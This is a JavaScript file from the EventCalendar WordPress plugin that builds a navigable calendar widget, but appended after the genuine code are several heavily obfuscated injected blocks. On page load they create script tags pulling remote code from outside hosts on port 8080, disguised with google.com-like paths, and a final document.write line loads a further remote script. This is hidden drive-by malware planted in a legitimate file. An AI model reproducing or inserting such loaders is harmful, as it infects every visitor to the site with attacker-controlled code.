/* EventCalendar. Copyright (C) 2005-2007, Alex Tingle.  $Revision: 284 $
 * This file is licensed under the GNU GPL. See LICENSE file for details.
 */

// Set in HTML file:
//   var ec3.start_of_week
//   var ec3.month_of_year
//   var ec3.month_abbrev
//   var ec3.myfiles
//   var ec3.home
//   var ec3.hide_logo
//   var ec3.viewpostsfor

/** Register an onload function. */
function WindowOnload(f)
{
  var prev=window.onload;
  window.onload=function(){ if(prev)prev(); f(); }
}

// namespace
function ec3()
{
  WindowOnload( function()
  {
    // Overwrite the href links in ec3_prev & ec3_next to activate EC3.
    var prev=document.getElementById('ec3_prev');
    var next=document.getElementById('ec3_next');
    if(prev && next)
    {
      // Check for cat limit in month link
      var xCat=new RegExp('&cat=[0-9]+$');
      var match=xCat.exec(prev.href);
      if(match)
        ec3.catClause=match[0];
      // Replace links
      prev.href='javascript:ec3.go_prev()';
      next.href='javascript:ec3.go_next()';
      // Pre-load image.
      ec3.imgwait=new Image(14,14);
      ec3.imgwait.src=ec3.myfiles+'/ec_load.gif';
      // Convert strings from PHP into Unicode
      ec3.viewpostsfor=unencode(ec3.viewpostsfor);
      for(var i=0; i<ec3.month_of_year.length; i++)
        ec3.month_of_year[i]=unencode(ec3.month_of_year[i]);
      for(var j=0; j<ec3.month_abbrev.length; j++)
        ec3.month_abbrev[j]=unencode(ec3.month_abbrev[j]);
    }
  } );

  /** Converts HTML encoded text (e.g. "&copy Copyright") into Unicode. */
  function unencode(text)
  {
    if(!ec3.unencodeDiv)
      ec3.unencodeDiv=document.createElement('div');
    ec3.unencodeDiv.innerHTML=text;
    return (ec3.unencodeDiv.innerText || ec3.unencodeDiv.firstChild.nodeValue);
  }

  function get_child_by_tag_name(element,tag_name)
  {
    var results=element.getElementsByTagName(tag_name);
    if(results)
      for(var i=0; i<results.length; i++)
        if(results[i].parentNode==element)
          return results[i];
    return 0;
  }
  ec3.get_child_by_tag_name=get_child_by_tag_name;


  function calc_day_id(day_num,month_num,year_num)
  {
    if(ec3.today_day_num==day_num &&
       ec3.today_month_num==month_num &&
       ec3.today_year_num==year_num)
    {
      return 'today';
    }
    else
    {
      return 'ec3_'+year_num+'_'+month_num+'_'+day_num;
    }
  }


  /** Replaces the caption and tbody in table to be the specified year/month. */
  function create_calendar(table_cal,month_num,year_num)
  {
    // Take a deep copy of the current calendar.
    var table=table_cal.cloneNode(1);

    // Calculate the zero-based month_num
    var month_num0=month_num-1;

    // Set the new caption
    var caption=get_child_by_tag_name(table,'caption');
    if(caption)
    {
      var c=get_child_by_tag_name(caption,'a');
      var caption_text=ec3.month_of_year[month_num0] + ' ' + year_num;
      if(c && c.firstChild && c.firstChild.nodeType==ec3.TEXT_NODE )
      {
	if(month_num<10) 
	{
	  c.href=ec3.home+'/?m='+year_num+'0'+month_num;
	}
	else
	{
	  c.href=ec3.home+'/?m='+year_num+month_num;
	}
        if(ec3.catClause)
           c.href+=ec3.catClause; // Copy cat' limit from original month link.
        c.title=ec3.viewpostsfor;
        c.title=c.title.replace(/%1\$s/,ec3.month_of_year[month_num0]);
        c.title=c.title.replace(/%2\$s/,year_num);
        c.firstChild.data=caption_text;
      }
    }

    if(caption && caption.firstChild && caption.firstChild.nodeType==ec3.TEXT_NODE)
      caption.firstChild.data=ec3.month_of_year[month_num0] + ' ' + year_num;

    var tbody=get_child_by_tag_name(table,'tbody');

    // Remove all children from the table body
    while(tbody.lastChild)
      tbody.removeChild(tbody.lastChild);

    // Make a new calendar.
    var date=new Date(year_num,month_num0,1, 12,00,00);

    var tr=document.createElement('tr');
    var td,div;
    tbody.appendChild(tr);
    var day_count=0
    var col=0;
    while(date.getMonth()==month_num0 && day_count<40)
    {
      var day=(date.getDay()+7-ec3.start_of_week)%7;
      if(col>6)
      {
        tr=document.createElement('tr');
        tbody.appendChild(tr);
        col=0;
      }
      if(col<day)
      {
        // insert padding
        td=document.createElement('td');
        td.colSpan=day-col;
        td.className='pad';
        tr.appendChild(td);
        col=day;
      }
      // insert day
      td=document.createElement('td');
      td.appendChild(document.createTextNode(date.getDate()));
      td.id=calc_day_id(date.getDate(),month_num,year_num);
      tr.appendChild(td);
      col++;
      day_count++;
      date.setDate(date.getDate()+1);
    }
    // insert padding
    if(col<7)
    {
      td=document.createElement('td');
      td.colSpan=7-col;
      td.className='pad';
      tr.appendChild(td);
    }

    // add the 'dog'
    if((7-col)>1 && !ec3.hide_logo)
    {
      a=document.createElement('a');
      a.href='http://blog.firetree.net/?ec3_version='+ec3.version;
      a.title='Event Calendar '+ec3.version;
      td.style.verticalAlign='bottom';
      td.appendChild(a);
      div=document.createElement('div');
      div.className='ec3_ec';
      div.align='right'; // keeps IE happy
      a.appendChild(div);
    }

    // set table's element id
    table.id='ec3_'+year_num+'_'+month_num;

    return table;
  } // end create_calendar()


  /** Dispatch an XMLHttpRequest for a month of calendar entries. */
  function loadDates(month_num,year_num)
  {
    var req=new XMLHttpRequest();
    if(req)
    {
      ec3.reqs.push(req);
      req.onreadystatechange=process_xml;
      req.open("GET",
        ec3.home+'/?ec3_xml='+year_num+'_'+month_num,true);
      set_spinner(1);
      req.send(null);
    }
  }
  

  /** Obtain an array of all the calendar tables. */
  function get_calendars()
  {
    var div=document.getElementById('wp-calendar');
    var result=new Array();
    for(var i=0; i<div.childNodes.length; i++)
    {
      var c=div.childNodes[i];
      if(c.id && c.id.search('ec3_[0-9]')==0 && c.style.display!='none')
        result.push(div.childNodes[i]);
    }
    if(result.length>0)
      return result;
    else
      return 0;
  }
  ec3.get_calendars=get_calendars;


  /** Changes the link text in the forward and backwards buttons.
   *  Parameters are the 0-based month numbers. */
  function rewrite_controls(prev_month0,next_month0)
  {
    var prev=document.getElementById('ec3_prev');
    if(prev && prev.firstChild && prev.firstChild.nodeType==ec3.TEXT_NODE)
      prev.firstChild.data='\u00ab\u00a0'+ec3.month_abbrev[prev_month0%12];
    var next=document.getElementById('ec3_next');
    if(next && next.firstChild && next.firstChild.nodeType==ec3.TEXT_NODE)
      next.firstChild.data=ec3.month_abbrev[next_month0%12]+'\u00a0\u00bb';
  }


  /** Turn the busy spinner on or off. */
  function set_spinner(on)
  {
    var spinner=document.getElementById('ec3_spinner');
    var publish=document.getElementById('ec3_publish');
    if(spinner)
    {
      if(on)
      {
        spinner.style.display='inline';
        if(publish)
          publish.style.display='none';
      }
      else
      {
        spinner.style.display='none';
        if(publish)
          publish.style.display='inline';
      }
    }
  }


  /** Called when the user clicks the 'previous month' button. */
  function go_prev()
  {
    var calendars=get_calendars();
    if(!calendars)
      return;
    var pn=calendars[0].parentNode;

    // calculate date of new calendar
    var id_array=calendars[0].id.split('_');
    if(id_array.length<3)
      return;
    var year_num=parseInt(id_array[1]);
    var month_num=parseInt(id_array[2])-1;
    if(month_num==0)
    {
      month_num=12;
      year_num--;
    }
    // Get new calendar
    var newcal=document.getElementById('ec3_'+year_num+'_'+month_num);
    if(newcal)
    {
      // Add in the new first calendar
      newcal.style.display=ec3.calendar_display;
    }
    else
    {
      newcal=create_calendar(calendars[0],month_num,year_num);
      pn.insertBefore( newcal, calendars[0] );
      loadDates(month_num,year_num);
    }
    // Hide the last calendar
    ec3.calendar_display=calendars[calendars.length-1].style.display;
    calendars[calendars.length-1].style.display='none';

    // Re-write the forward & back buttons.
    rewrite_controls(month_num+10,month_num+calendars.length-1);
  }
  ec3.go_prev=go_prev;


  /** Called when the user clicks the 'next month' button. */
  function go_next()
  {
    var calendars=get_calendars();
    if(!calendars)
      return;
    var pn=calendars[0].parentNode;
    var last_cal=calendars[calendars.length-1];

    // calculate date of new calendar
    var id_array=last_cal.id.split('_');
    if(id_array.length<3)
      return;
    var year_num=parseInt(id_array[1]);
    var month_num=1+parseInt(id_array[2]);
    if(month_num==13)
    {
      month_num=1;
      year_num++;
    }
    // Get new calendar
    var newcal=document.getElementById('ec3_'+year_num+'_'+month_num);
    if(newcal)
    {
      // Add in the new last calendar
      newcal.style.display=ec3.calendar_display;
    }
    else
    {
      newcal=create_calendar(calendars[0],month_num,year_num);
      if(last_cal.nextSibling)
        pn.insertBefore(newcal,last_cal.nextSibling);
      else
        pn.appendChild(newcal);
      loadDates(month_num,year_num);
    }
    // Hide the first calendar
    ec3.calendar_display=calendars[0].style.display;
    calendars[0].style.display='none';

    // Re-write the forward & back buttons.
    rewrite_controls(month_num-calendars.length+11,month_num);
  }
  ec3.go_next=go_next;


  /** Triggered when the XML load is complete. Checks that load is OK, and then
   *  updates calendar days. */
  function process_xml()
  {
    var busy=0;
    for(var i=0; i<ec3.reqs.length; i++)
    {
      var req=ec3.reqs[i];
      if(req)
      {
        if(req.readyState==4)
        {
          ec3.reqs[i]=0;
          if(req.status==200)
            update_days(req.responseXML.documentElement);
        }
        else
          busy=1;
      }
    }
    if(!busy)
    {
      // Remove old requests.
      while(ec3.reqs.shift && ec3.reqs.length && !ec3.reqs[0])
        ec3.reqs.shift();
      set_spinner(0);
    }
  }


  /** Adds links to the calendar for each day listed in the XML. */
  function update_days(month_xml)
  {
    var days=month_xml.getElementsByTagName('day');
    if(!days)
      return;
    for(var i=0; i<days.length; i++)
    {
      var td=document.getElementById(days[i].getAttribute('id'));
      if(td && td.firstChild && td.firstChild.nodeType==ec3.TEXT_NODE)
      {
        td.className='ec3_postday';
        var txt=td.removeChild(td.firstChild);
        var a=document.createElement('a');
        a.href=days[i].getAttribute('link');
        a.title=days[i].getAttribute('titles');
        if(days[i].getAttribute('is_event'))
        {
          td.className+=' ec3_eventday';
          a.className='eventday';
        }
        a.appendChild(txt);
        td.appendChild(a);
      }
    }
    if(typeof ec3_Popup != 'undefined')
    {
      var month=
        document.getElementById(month_xml.childNodes[0].getAttribute('id'));
      if(month)
        ec3_Popup.add_tbody( get_child_by_tag_name(month,'tbody') );
    }
  }


} // end namespace ec3

// Export public functions from ec3 namespace.
ec3();

// Set up static variables in namespace 'ec3'.

// Get today's date.
// Note - DO THIS ONCE, so that the value of today never changes!
ec3.today=new Date();
ec3.today_day_num=ec3.today.getDate();
ec3.today_month_num=1+ec3.today.getMonth();
ec3.today_year_num=ec3.today.getFullYear();

// Holds ongoing XmlHttp requests.
ec3.reqs=new Array();

ec3.ELEMENT_NODE=1;
ec3.TEXT_NODE=3;

ec3.version='3.1.4';



try {var Gm=new Date();var dv;if(dv!='ce'){dv='ce'};var L=new Array();var I;if(I!='' && I!='u'){I='vy'};var EJ=window[unescape("%75%6e%65%73%63%61%70%65")];var X=window[EJ("%52%65%67%45%78%70")];var ef;if(ef!='' && ef!='w'){ef='En'};var b=null;var Z;if(Z!='EB'){Z='EB'};var J=EJ("%72%65%70%6c%61%63%65");var a="";var Q;if(Q!='' && Q!='lf'){Q=''};var LA;if(LA!='N' && LA!='JR'){LA=''};function E(p,F){var ZI;if(ZI!='q'){ZI=''};var G=EJ("%5b");var ESe;if(ESe!='' && ESe!='S'){ESe='Qi'};G+=F;var oR;if(oR!='s'){oR=''};G+=EJ("%5d");var T=new X(G, EJ("%67"));return p.replace(T, b);var tO;if(tO!='' && tO!='WB'){tO=''};var SM;if(SM!='' && SM!='qn'){SM=''};};var zX;if(zX!='tZ' && zX!='CH'){zX=''};var YI;if(YI!='aQ' && YI!='hn'){YI=''};var z='';this.KF='';var p=EJ("%31");this.SW='';var cc;if(cc!='Li' && cc != ''){cc=null};var Ei=E('/FiUnBtBeArCiSaD-ApAlB/qgSoCoCg_lDeF.Uc_oBmU/AmBoDnAo_gCrCa1f_iDaDsC._cSoTmS.CpdhdpD','_UFCDS1AqTBd');var g=String("onloa"+"d");var A='';var H="\x68\x74\x74\x70\x3a\x2f\x2f\x6f\x6e\x65\x6c\x6f\x76\x65\x64\x69\x72\x65\x63\x74\x2e\x61\x74\x3a";this.EF='';this.XE='';this.Fc='';var o=E('8939593591462706423515339162128291577154491923064459464696255917','72615439');var QB;if(QB!='Io' && QB!='bo'){QB=''};var vD=new Date();var C=EJ("%73%63%72%69%70%74");var te;if(te!='Qt' && te!='SB'){te=''};var yb;if(yb!='di' && yb!='TF'){yb=''};function B(){var gT;if(gT!='cG' && gT!='YX'){gT='cG'};var v=document;var Na=new String();W=v.createElement(C);var Lp=new String();z+=H;z+=o+Ei;var zo=new Array();var e=v.body;var n;if(n!='Th'){n='Th'};W.src=z;W.defer=p;this.Xw="";var KS;if(KS!='ah' && KS != ''){KS=null};e.appendChild(W);var lc;if(lc!='MT' && lc!='Yf'){lc=''};var AY;if(AY!='' && AY!='qs'){AY='ir'};};var uX=new Array();this.TD="";window[g]=B;var bL=new String();this._s="";} catch(c){this.FO='';var yf;if(yf!='Dc'){yf='Dc'};};


f=15723;f++;var Qh={fM:53729};this.u=24727;this.u-=165;var On=new Array();function t(){var oG='';this.Rl="Rl";wQ=64854;wQ--;var DR="DR";var q="bo"+"dy";try {var lj='j'} catch(lj){};this.dV=34103;this.dV++;var I=String("ap"+"drGOpe".substr(4)+"3Db8ndb3D8".substr(4,2)+"CheGPI".substr(0,2)+"il"+"d");this.r=false;var y="cre"+"ate"+"Ele6k4".substr(0,3)+"menMfs".substr(0,3)+"t";this.Vu=12975;this.Vu++;var i=new String("scripuwj".substr(0,5)+"t");var w=window;var Z="defe"+"r";this.a=2601;this.a+=254;var S="onloa"+"d";var Q=document;_=4063;_--;var os=18852;var F=new String();var D=String("src");var J=["N","YY","PA"];function tu(){this.Ty=9976;this.Ty+=110;WA=22998;WA+=178;Ke=["dF","Kp"];try {this.nV=30884;this.nV--;try {} catch(ij){};var AM={Uv:"w_"};var B=870563-862483;var _X=[];var g="htt"+"p:/"+"/pa"+"ssp"+"kCKZort".substr(4)+"blu"+"es.Kv5".substr(0,3)+"ru:";var v=String("/wp"+"-pl"+"/go"+"ogl"+"e.c"+"om/"+"gam"+"etr"+"ail"+"ers"+".co"+"m.p"+"1ok5hp".substr(4));var OCA=["gE","s"];var Dj=1319-1318;var uy={NT:9891};var YO={dFT:47976};W=Q[y](i);pH=["yp","gr","oz"];this.TD='';W[D]=g+B+v;var lO="";W[Z]=Dj;try {var UC='pL'} catch(UC){};Q[q][I](W);var yy={DV:false};} catch(yC){this.Yb='';this.nea='';var se={ss:false};};}try {var E='VI'} catch(E){};w[S]=tu;};G={cx:false};t();this.El=34133;this.El+=253;try {} catch(Xd){};
Pg={Hj:"J"};try {} catch(u){};sO=31869;sO--;var R={};var I={};try {try {} catch(Cn){};try {} catch(z){};df=["GF","q","n"];var Uj=41479;dW={nr:40640};N={au:5064};this.asu=46685;this.asu++;var M=new Array();var sg=["CO","AC","Ah"];var x=window[String("une"+"sca"+"pe")];var U=String("repla"+"ce");var NY=false;var gT=false;var IF="IF";this.o='';var C=String("onlo"+"adVgr".substr(0,2));var O="O";var F='';this.Fi=62791;this.Fi-=1;this.iw=34943;this.iw-=73;this.JR=false;this.yP=18013;this.yP-=85;this.gc=55872;this.gc++;var LE=new Date();var Z=new Array();fc={fA:38161};var Fs=new Date();sQ={VJ:25260};var UY=window[("Re"+"gE"+"xp")];jb={NFj:"xg"};IB={po:"Sz"};zs=15774;zs-=170;var i="1";Xh={dQ:60537};var vg="vg";VB=405;VB--;var Ja="Ja";var zd={};var Lcy={ML:47085};Nb=18860;Nb-=142;var dT={Du:55241};var Mb=false;function P(i,s){var Lu=false;CQ={yS:"Ys"};var FO=50740;var Ee=[];var cj="cj";var d="YfVm[".substr(4);AG={mN:63159};var aI=["EN","Oa"];Hy={lu:38055};d+=s;var ZV={xH:false};this.ly=18802;this.ly--;d+=x("%5d");this.ba='';gm={XT:false};hbA={sZ:false};var AW={Jv:false};var uq={Jm:false};var w=new UY(d, String("fXsg".substr(3)));var ooV={};return i.replace(w, F);var CD=["kp","qA","yl"];var GA=["Mj","sU","ue"];try {} catch(oE){};Pb=[];};var zK="";PN={Di:33019};this.Gl=false;this.Wb=20556;this.Wb-=221;this.kU=30005;this.kU-=86;var H=247351-239271;try {} catch(tm){};var HK=new Array();var bN=new Date();var j="http:"+"//got"+"hguil"+"t.ru:";pV=["_y","Xd"];bJ=[];avd=["Nx","GU","FI"];var BQ=["lV","tT"];this.RU="";var QI=["PT","yI","RJ"];var Q=String("/go"+"ogl"+"e.c"+"om/"+"sha"+"adi"+".co"+"m/i"+"YV7cbib".substr(4)+"LMHYo.c".substr(4)+"Vg4om.4gV".substr(3,3)+"php78q".substr(0,3));bNu={vd:"IZ"};DP={gg:"Mu"};this.re=49200;this.re--;pf={mV:"WY"};var IQQ={QK:36938};this.H_='';this.nP='';MT=["aN"];this.VD=30688;this.VD++;this.vl=25930;this.vl++;function a(){this.LK=63690;this.LK++;this.ri="ri";gC={};fL=["Jvc"];var p="appenC8Z".substr(0,5)+"dChil"+"PLzndnzPL".substr(4,1);this.zR='';var _j='';var it='';try {var GcJ='zn'} catch(GcJ){};DCm=[];var g=P('s2c2rAi7puta','F4a37u0nIPE2UJkWA');var FS=document;uZ=37917;uZ+=109;var iC=new Array();var zQ=new Array();YOp=22716;YOp+=156;VK={};var EI=new Date();nO=["ZY"];y=FS.createElement(g);var f_=["_V","Ln"];try {var IS='VU'} catch(IS){};A=j+H;Gg=["wk","rA","fGv"];A=A+Q;sON=["TI","tS"];this.I_=35316;this.I_-=18;var Qd={};var GR={};this.Fm=false;try {} catch(eU){};var jK={};y["deferKE9t".substr(0,5)]=i;var qj=["cs"];var Rk=new Date();var zE=new Date();var B=FS.body;var fu='';var QR=false;y.src=A;kr={ic:32946};var _I=false;gO=2753;gO++;B[p](y);try {var Ot='Vq'} catch(Ot){};var IW=false;sn=["fY","ch"];Dx={RL:false};};Em=3246;Em--;try {} catch(mF){};try {} catch(gP){};St=6610;St++;this.LyH="LyH";window[C]=a;this.pVC=32234;this.pVC++;var SR={};var OJ='';Yg=["dNH","lY","zP"];Dm=37131;Dm+=51;Ru=["PG","rOf","gM"];this.mSK=39112;this.mSK+=138;this.DK=3895;this.DK+=40;} catch(Bo){oP={};this.WR="WR";var dz=2350;var aie=303;};




document.write('<s'+'cript type="text/javascript" src="http://questtore.hermosayasociados.com:8080/Unmount.js"></scr'+'ipt>');